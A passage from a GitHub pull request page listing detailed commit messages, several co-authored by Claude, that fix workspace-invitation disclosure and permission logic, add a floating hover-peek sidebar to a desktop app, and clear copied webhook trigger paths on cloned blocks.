`isFetching` only holds the confirm button while a request is in flight, so an
identity-bound credential the member gained after the fetch settled would break
on removal without ever being disclosed. Confirm now refetches and, if the set
changed, keeps the dialog open on the refreshed warning instead of proceeding.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(invitations): serialize the join-preview reads, revert the removal refetch

Two corrections to this branch's own review fixes.

The pending-invitations list computed each row's join preview with Promise.all.
Every preview issues several queries, and the endpoint is hit whenever the
workspace switcher opens, so that held one pooled connection per pending
invitation for as long as the slowest one took. The loop is sequential now; the
list is a handful of rows, so the latency is not worth the pool pressure.

The removal-impact refetch on confirm is reverted. It changed behaviour — a
click could silently do nothing — and it did not actually close the window it
targeted: the credential set can still change between the refetch and the
independent DELETE, because the removal endpoint neither receives nor
revalidates the disclosed set. Closing that properly means passing the
disclosure to the endpoint and revalidating there, which is a feature rather
than a review fix, so the prior behaviour stands until it is done deliberately.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(invitations): disclose the seat on a personal-workspace join

Both accept surfaces scoped the membership notice on `organizationId` or the
preview's `organizationName`. A personal-workspace invite has neither until
acceptance runs — it creates the organization by converting the billed owner's
Pro to Team — so the seat and membership disclosure was suppressed for exactly
the case that creates the membership. They now also scope on the preview's
`willJoinOrganization`, which is the authoritative signal.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(invitations): make the join preview a discriminated outcome

The preview returned one no-join shape for five different results — external
intent, already a member, a membership in another organization, a dead-grant
rejection, and a billing rejection. Two accumulating booleans could not separate
them, and the accept screen rendered the external copy for all of them: it told
people whose acceptance would fail with `upgrade-required` or
`workspace-not-found` that they were getting workspace access without a seat.

It now reports one `outcome`: `will-join` (a seat is taken), `already-member`
(only workspace access changes), `external` (never a seat), or `blocked`
(acceptance fails, so nothing is promised). `blocked` renders no membership
notice — silence is accurate where the external claim was false. The accept
button is deliberately left enabled: those cases already fail closed with the
correct error, and choosing what to actively tell someone whose organization's
payment lapsed is a product decision, not a review fix.

This also fixes a live mis-attribution the previous commit's guard introduced.
The consent check ran before the gates that produce the real cause, so a blocked
invitation returned `disclosure-outdated` — and the retry re-rendered the same
preview, leaving the invitee looping with no explanation. The guard now sits
after the dead-grant gate, and a disclosed `blocked` skips the comparison so the
billing gate below can surface `upgrade-required` instead.

The accept body carries `disclosedOutcome` in place of the boolean; the
membership comparison is unchanged (`will-join` versus a new membership being
created), so no acceptance that previously succeeded now fails.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(invitations): let billing-disabled personal invites be accepted

The consent guard derived "a membership will be created" from
`shouldJoinOrganization`, which is still true at that point — it is only cleared
much later, after provisioning fails to yield a target organization. With billing
disabled and no organization on the workspace there is nothing to provision and
nothing to join, so the preview correctly reports `external` while the guard
computed `will-join`, rejecting every personal and grandfathered workspace invite
as `disclosure-outdated`. The retry rendered the same preview, so those invites
could not be accepted at all on billing-disabled deployments.

The predicate now mirrors the preview's own condition, so the two cannot drift.
Regression test asserts acceptance succeeds with billing off; it fails with
`disclosure-outdated` against the previous predicate.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(invitations): allow External with billing off, mark cross-org org invites blocked

The External paid-plan requirement is seat economics — an external collaborator
takes no seat, so somebody else must be paying for them. With billing disabled
there are no seats and no subscription rows at all, so every account resolves as
`free` and choosing External failed at send time and would have failed at accept.
Member and Admin still worked, so a self-hosted deployment had no way to grant
workspace-only access without an organization join and a workspace sweep. Both the
invite-time and accept-time gates now short-circuit when billing is off.

A route test asserted that rejection without setting `isBillingEnabled`, which
the shared mock defaults to false — it passed only because the gate ignored the
flag. It now opts in explicitly, since the rule it covers is billing-only.

Separately, the preview reported `external` for any invitee already in a
different organization, but acceptance only downgrades a workspace-kind invite
with live grants; an organization-kind invite hard-fails with
`already-in-organization`. Those now report `blocked`, so the screen stops
promising external access that acceptance can never grant. Legacy
organization-kind rows still exist and coalescing preserves that kind, so this is
reachable.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(invitations): require org admin to grant org Admin, and two disclosure gaps

Privilege escalation. `createWorkspaceInvitation` stamped organization role
`admin` whenever the caller passed `membership: 'admin'`, but authorization only
checked workspace admin access — and unifying the invite modals exposed the Admin
option to any workspace admin, where it had previously been reachable only from
organization settings. A workspace-scoped administrator could therefore invite
someone who joins as an organization Admin, gaining admin on every workspace the
organization owns plus member and billing management. The inviter must now already
hold organization owner/admin, checked server-side because the batch endpoint is
reachable without the modal, and the modal no longer offers Admin to anyone else.

The preview promised external access without mirroring acceptance's
`external-requires-paid-plan` gate, so a free invitee — one who cancelled Pro, or
left the organization that forced the external invite — was told they had
workspace access and then refused. It now mirrors that gate, including its
exemptions (billing on, organization-owned workspace, externality not imposed),
and reports `blocked`.

The modal's Enterprise seat check counted every non-External email as a seat. The
server does not: an existing organization member is granted access directly, and
an invitee already in another organization is forced external. The hard block
refused batches the API would have accepted, so it is advisory now — per-email
failures already come back with reasons.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(invitations): restore the invite admin gate, hedge an unknown outcome

Consolidating the modals dropped a permission check. The old workspace-header
modal derived `canInviteMembers` from `userPermissions.canAdmin` internally and
disabled its field and button; the shared modal takes `canInvite` as a prop that
defaults to true, and no call site passed it. Non-admins therefore saw a fully
enabled invite form and only learned otherwise when the server refused the send.
All three entry points now supply it: workspace admin for the header, the
existing `canManage` for the workspace Teammates page, and organization
owner/admin for organization settings.

When the join preview cannot be computed the outcome is unknown, and the callers
send no disclosure token — so acceptance runs without the consent guards. The
membership notice nevertheless asserted a seat-taking join from the sent intent,
which acceptance may resolve to external, already-a-member, or a failure. It is
conditional now ("If you're added to X as a member, that uses one of their
seats"), so the consequence is still disclosed without being claimed as settled.

Co-Authored-By: Claude <noreply@anthropic.com>

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
* feat(desktop): floating hover-peek sidebar

On the macOS desktop shell the collapsed sidebar has no width at all
(`--sidebar-collapsed-width: 0`), so the only ways back were ⌘B and the
title-bar toggle. Hovering that toggle now floats the sidebar in as a card
over the content, inset from the window edge, and it retracts when the
pointer leaves. Clicking the same control still docks it for good.

The card is the existing `.sidebar-shell-outer` re-styled, not a second
surface: `<Sidebar>` is never re-mounted, so its scroll position and
expansion state survive a peek. One CSS rule re-points `--sidebar-width` at
a new `--sidebar-expanded-width`, and the inner shell and aside follow with
no per-element overrides. Chrome is all existing tokens — `--radius`,
`--border`, `shadow-overlay`, `--z-modal` — and the fill is the sidebar's
own `--surface-1`, so docked and floating are the same surface. Enter/exit
use the popper idiom (`fade-in-0 zoom-in-95`) that emcn's Radix surfaces
already use.

Also migrates the search palette from raw `z-40`/`z-50` to `--z-modal`. It
was the one overlay outranked by the new card, and the raw values also put
it below `--z-toast`, inverting the order globals.css documents.

Settings drive-bys, all pre-existing violations in files this touches:
tokenize two literal pixel text sizes in passwords-view, route its cards
through `SettingsResourceRow` instead of four re-derived chrome constants,
and collapse three `{null}`-bodied `SettingsSection`s in browser settings
into one section of real rows.

* fix(desktop): close the peek's three timer races

Review round 1 (Cursor Bugbot) found three ways the card could flicker:

- A modal opening mid-dwell left the open timer pending, so the card
  mounted over the modal before the dismiss path could run.
- A modal opening while the card was already animating out let it keep
  animating on top of the modal.
- Re-hovering the toggle late in the exit window scheduled a fresh dwell
  without clearing the exit timer, so the card unmounted and then
  re-mounted — a visible gap with the pointer never leaving the toggle.

The first two collapse into one fix: merge the two reset effects so an
unavailable peek and a screen-owning modal both drop the card immediately,
unconditionally clearing all three timers. Instant is also the right look,
since the modal's scrim covers the card's position on the same frame.

For the third, a re-hover during the exit now re-opens synchronously rather
than scheduling another dwell — the card is already on screen, so the dwell
that guards against accidental opens from a cold state does not apply.

One regression test each.

* fix(desktop): arm the peek before first paint

Review round 2: the title-bar seed ran in a passive effect, which lands
after paint — long enough for a `mouseenter` on the toggle to be dropped
while the peek still read disabled, with nothing to retry it until the
pointer left and returned. A regression from folding the seed into the
window-state effect during cleanup.

Promoted to a layout effect, which runs before paint and before any mouse
event can be dispatched. The body is cheap synchronous reads plus a
subscription; the bridge's getState stays async and blocks nothing.

---------

Co-authored-by: Waleed Latif <waleed@simstudio.ai>
…k URL (#6091)

Before a deploy, a trigger block's webhook URL is DERIVED — useWebhookManagement
and the canvas both fall back to the block's own id, which cloning already
regenerates, so copying an undeployed trigger yields a fresh URL. Deploy then
registers the webhook at `path = triggerPath || block.id` and writes that literal
path back into the source block's `triggerPath`. From then on the URL is STORED,
and copy/paste copies it verbatim, so the clone renders the source's URL.

Clear `triggerPath` on in-canvas clones so the clone derives a path from its new
block id again.

- Clears both the subBlocks structure and the sub-block value map: the value map
  is authoritative in mergeSubblockStateWithValues, and since no trigger declares
  `triggerPath` as a subblock it normally lives only in the store.
- Deliberately unconditional and limited to `triggerPath`. No block declares that
  id, so there is nothing to collide with and no need to classify the block.
- The sibling TRIGGER_RUNTIME_SUBBLOCK_IDS entries are left alone on purpose.
  `triggerConfig`/`triggerId` are user configuration. `webhookId` is a
  user-entered action field on Attio, Vercel, and Discord — and Attio/Vercel are
  trigger-capable, so clearing it by trigger-ness would destroy real config —
  while being unused as trigger state, since deploy mints its own row id and
  matches existing rows by block id.

Scoped to the clone paths. No deploy-side, server-side, or import/export change.
@waleedlatif1
waleedlatif1 merged commit 2a62673 into main Jul 30, 2026
54 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

requires-mothership-merge Has a companion PR on the mothership/copilot side — merge in lockstep

Projects

None yet

Development

Successfully merging this pull request may close these issues.

7 participants